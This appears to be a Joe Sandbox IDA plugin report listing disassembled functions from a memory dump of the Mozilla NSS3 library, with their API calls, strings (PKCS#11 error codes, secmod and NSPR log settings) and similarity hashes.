CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C761F8B
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C762319
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C761F0F
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C76218D
CKR_FUNCTION_REJECTED, xrefs: 6C762289
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C76232E
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C762293, 6C76233F
CKR_SIGNATURE_INVALID, xrefs: 6C7620CF
rv = 0x%x, xrefs: 6C762312
CKR_DEVICE_MEMORY, xrefs: 6C761FF3
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C761EE1
rv = %s, xrefs: 6C762340
CKR_RANDOM_NO_RNG, xrefs: 6C7622A7
CKR_PIN_LOCKED, xrefs: 6C762075
CKR_PIN_INVALID, xrefs: 6C762057
CKR_PIN_LEN_RANGE, xrefs: 6C762061
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C76226B
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C7620D9
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C761FD7
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C762275

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 5d44e64d99063ab12622769ffda83d222ffbcfdaaa6c277b187e27de9724d035
Instruction ID: 2022c0a81b2c40054efb224cb4e977bb4fd9246ebb395facf872aeb54de6b780
Opcode Fuzzy Hash: 5d44e64d99063ab12622769ffda83d222ffbcfdaaa6c277b187e27de9724d035
Instruction Fuzzy Hash: A761132064E185C7D6BC444FC3AD3AC21249753309FE4897BEE918FE50E7A5CE8946E3

Function 6C795DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C795E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C795E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C795E5C
free.MOZGLUE(00000000), ref: 6C795E7E
free.MOZGLUE(00000000), ref: 6C795E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C795EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C795EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C795ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C795EF0
free.MOZGLUE(00000000), ref: 6C795F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C795F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C795F5B
free.MOZGLUE(00000000), ref: 6C795F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C795FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C795FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C795FC4
free.MOZGLUE(00000000), ref: 6C795FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C795FE9
free.MOZGLUE(00000000), ref: 6C795FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C79600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C796027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C79605A
PR_smprintf.NSS3(6C86AAF9,00000000), ref: 6C79606A
free.MOZGLUE(00000000), ref: 6C79607C
free.MOZGLUE(00000000), ref: 6C79609A
free.MOZGLUE(00000000), ref: 6C7960B2
free.MOZGLUE(?), ref: 6C7960CE

Strings

secmod=, xrefs: 6C795FB1
forceSecmodChoice, xrefs: 6C795F55
readOnly, xrefs: 6C795E56
secmod.db, xrefs: 6C795EA0
configDir=, xrefs: 6C795F9D
%s/%s, xrefs: 6C796055
pkcs11.txt, xrefs: 6C795F47, 6C795F7C, 6C79603A, 6C796053
noModDB, xrefs: 6C795EEA
flags, xrefs: 6C795E3A, 6C795EC6, 6C795F30

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: b3b901bc5ff647761efaa7e99ab07613ab45208010b4ee730358eaa9d796603c
Instruction ID: 9e3d86037f6275855913f0939728eb14eb95089d6cfd02223fe7243e28fecaab
Opcode Fuzzy Hash: b3b901bc5ff647761efaa7e99ab07613ab45208010b4ee730358eaa9d796603c
Instruction Fuzzy Hash: BB91F9F09042115BEB518F29BE85BAA3BA89F0635DF080670EC559BB42E735D909C7E2

Function 6C721D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C721DA3

Part of subcall function 6C7F98D0: calloc.MOZGLUE(00000001,00000084,6C720936,00000001,?,6C72102C), ref: 6C7F98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C721DB2

Part of subcall function 6C721240: TlsGetValue.KERNEL32(00000040,?,6C72116C,NSPR_LOG_MODULES), ref: 6C721267
Part of subcall function 6C721240: EnterCriticalSection.KERNEL32(?,?,?,6C72116C,NSPR_LOG_MODULES), ref: 6C72127C
Part of subcall function 6C721240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C72116C,NSPR_LOG_MODULES), ref: 6C721291
Part of subcall function 6C721240: PR_Unlock.NSS3(?,?,?,?,6C72116C,NSPR_LOG_MODULES), ref: 6C7212A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C721DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C721E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C721EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C721ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C721EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C721F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C721F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C721F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C721F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C721F83
PR_SetLogFile.NSS3(00000000), ref: 6C721FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C721FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C721FCB
free.MOZGLUE(00000000), ref: 6C721FD2

Strings

%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C721E27
bufsize, xrefs: 6C721E9B
timestamp, xrefs: 6C721EC4
all, xrefs: 6C721F0E
, %n, xrefs: 6C721E6B
NSPR_LOG_MODULES, xrefs: 6C721DAD
Unable to create nspr log file '%s', xrefs: 6C721FB3
sync, xrefs: 6C721E46
NSPR_LOG_FILE, xrefs: 6C721F69
append, xrefs: 6C721EE6

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: ad9d662f713dc82df3a195e158e91817805ddc730cee6b850b1138f7fdf3dcd5
Instruction ID: 257492b0570d35f4e53c7fb956b438102ef7b97d93e5c683403b4953c23c7fda
Opcode Fuzzy Hash: ad9d662f713dc82df3a195e158e91817805ddc730cee6b850b1138f7fdf3dcd5
Instruction Fuzzy Hash: EB517EB1E052499BDF20DBE9DE48B9E77B8BF01309F140538E815DBA05E77AD908CB91

Function 6C768E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C768E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C768EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C768EB3

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C768EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C768EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C768F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C768F29
PR_LogPrint.NSS3(?,00000000), ref: 6C768F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C768F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C768F80
PR_LogPrint.NSS3(?,00000000), ref: 6C768F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C768FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C768FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C769047

Strings

pMechanism = 0x%p, xrefs: 6C768EE0
hSession = 0x%x, xrefs: 6C768E8E, 6C768E9E
C_WrapKey, xrefs: 6C768E71
(CK_INVALID_HANDLE), xrefs: 6C768EAC, 6C768F1F, 6C768F79
pulWrappedKeyLen = 0x%p, xrefs: 6C768FC8
hWrappingKey = 0x%x, xrefs: 6C768F01, 6C768F11
pWrappedKey = 0x%p, xrefs: 6C768FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6C769042
hKey = 0x%x, xrefs: 6C768F5B, 6C768F6B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: df6a1923e0328daf92dff7b4abdd976550e0c4e697da9268cb9f458c2068ee77
Instruction ID: 118a295d3f785076c522ef83656f57930dbba61115a0e7dfab6ac36197c59c48
Opcode Fuzzy Hash: df6a1923e0328daf92dff7b4abdd976550e0c4e697da9268cb9f458c2068ee77
Instruction Fuzzy Hash: C751A331601109ABDB209F19DF4CF9B7BB6AB5630CF448836F90867F12D734A918CB95

Function 6C794C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C784F51,00000000), ref: 6C794C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C784F51,00000000), ref: 6C794C5B
PR_smprintf.NSS3(6C86AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C784F51,00000000), ref: 6C794C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C784F51,00000000), ref: 6C794CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C794CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C794CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C794D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C784F51,00000000), ref: 6C794D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C784F51,00000000), ref: 6C794D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C794D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C794DA2
free.MOZGLUE(?), ref: 6C794DB9
free.MOZGLUE(00000000), ref: 6C794DCF

Strings

0x%08lx=[%s %s], xrefs: 6C794D80
slotFlags, xrefs: 6C794D34
rootFlags, xrefs: 6C794D47
timeout, xrefs: 6C794C91
every, xrefs: 6C794CA1
%s,%s, xrefs: 6C794C4B
any, xrefs: 6C794C96
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C794D9D
rust, xrefs: 6C794D22
ootT, xrefs: 6C794D1A

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 47acde39c4d4cf2bd4bf58a3b10766ae57c2aef86c18868b4a42eaa42386f4d4
Instruction ID: e34cd486e8f54d02864d8a10eedc374131cbc653f156ace366dadbf87c390851
Opcode Fuzzy Hash: 47acde39c4d4cf2bd4bf58a3b10766ae57c2aef86c18868b4a42eaa42386f4d4
Instruction Fuzzy Hash: 0541ADB59001416BDB219F19AE896BA3A75AF8330CF184134E8251BF12E734E918D7D3

Function 6C776CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C776910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C776943
Part of subcall function 6C776910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C776957
Part of subcall function 6C776910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C776972
Part of subcall function 6C776910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C776983
Part of subcall function 6C776910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7769AA
Part of subcall function 6C776910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7769BE
Part of subcall function 6C776910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7769D2
Part of subcall function 6C776910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7769DF
Part of subcall function 6C776910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C776A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C776D8C
free.MOZGLUE(00000000), ref: 6C776DC5
free.MOZGLUE(?), ref: 6C776DD6
free.MOZGLUE(?), ref: 6C776DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C776E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C776E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C776E72
free.MOZGLUE(?), ref: 6C776EA7
free.MOZGLUE(?), ref: 6C776EC4
free.MOZGLUE(?), ref: 6C776ED5
free.MOZGLUE(00000000), ref: 6C776EE3
free.MOZGLUE(?), ref: 6C776EF4
free.MOZGLUE(?), ref: 6C776F08
free.MOZGLUE(00000000), ref: 6C776F35
free.MOZGLUE(?), ref: 6C776F44
free.MOZGLUE(?), ref: 6C776F5B
free.MOZGLUE(00000000), ref: 6C776F65

Part of subcall function 6C776C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C77781D,00000000,6C76BE2C,?,6C776B1D,?,?,?,?,00000000,00000000,6C77781D), ref: 6C776C40
Part of subcall function 6C776C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C77781D,?,6C76BE2C,?), ref: 6C776C58
Part of subcall function 6C776C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C77781D), ref: 6C776C6F
Part of subcall function 6C776C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C776C84
Part of subcall function 6C776C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C776C96
Part of subcall function 6C776C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C776CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C776F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C776FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C776FF4

Strings

+`xl, xrefs: 6C776D0D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`xl
API String ID: 1304971872-3175277198
Opcode ID: 0054dbe8a4fd180c4ef2e327c284a76eea7a4c4d4fe566146e11946e602273e6
Instruction ID: d34ba5387df01c435c0f6a2d186063b5bcdc9e9bd76dadb34f48a202053103cf
Opcode Fuzzy Hash: 0054dbe8a4fd180c4ef2e327c284a76eea7a4c4d4fe566146e11946e602273e6
Instruction Fuzzy Hash: CCB142B0E0120D9FDF20DBA9DA45B9E77B8BF05258F140134E815E7A09E775EA14CBB1

Function 6C73DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C73DDDE

Part of subcall function 6C790FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7387ED,00000800,6C72EF74,00000000), ref: 6C791000
Part of subcall function 6C790FF0: PR_NewLock.NSS3(?,00000800,6C72EF74,00000000), ref: 6C791016
Part of subcall function 6C790FF0: PL_InitArenaPool.NSS3(00000000,security,6C7387ED,00000008,?,00000800,6C72EF74,00000000), ref: 6C79102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C73DDF5

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C73DE34
PR_Now.NSS3 ref: 6C73DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C73DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C73DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C73DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C73DEF0
PR_smprintf.NSS3(6C86AAF9,(NULL) (Validity Unknown)), ref: 6C73DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C73DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C73DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C73DF33
free.MOZGLUE(00000000), ref: 6C73DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C73DF4B
free.MOZGLUE(00000000), ref: 6C73DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C73DF8E

Strings

{???}, xrefs: 6C73DE8B
%s%s, xrefs: 6C73DEEB
(NULL) (Validity Unknown), xrefs: 6C73DEFA

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 881d2fea45bb4e32cb6382b0f401555ade134ce0adcdeb9420373852d324c60e
Instruction ID: bf3e148766d9d69d635dd9d6f1ac50b1d2b6fc567d639c9a28f8949f67766ad8
Opcode Fuzzy Hash: 881d2fea45bb4e32cb6382b0f401555ade134ce0adcdeb9420373852d324c60e
Instruction Fuzzy Hash: F05123B1E001259BDB10DE699E85AAF7BF8AF95358F144438E81CE7B01E730D914CBE2

Function 6C772D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C772DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C772E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C772E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C772E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C744F1C,?,-00000001,00000000,?), ref: 6C772E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C744F1C,?,-00000001,00000000), ref: 6C772E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C772EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C772EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C772EF8
PR_Unlock.NSS3(?), ref: 6C772F62
TlsGetValue.KERNEL32 ref: 6C772F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C772F9E
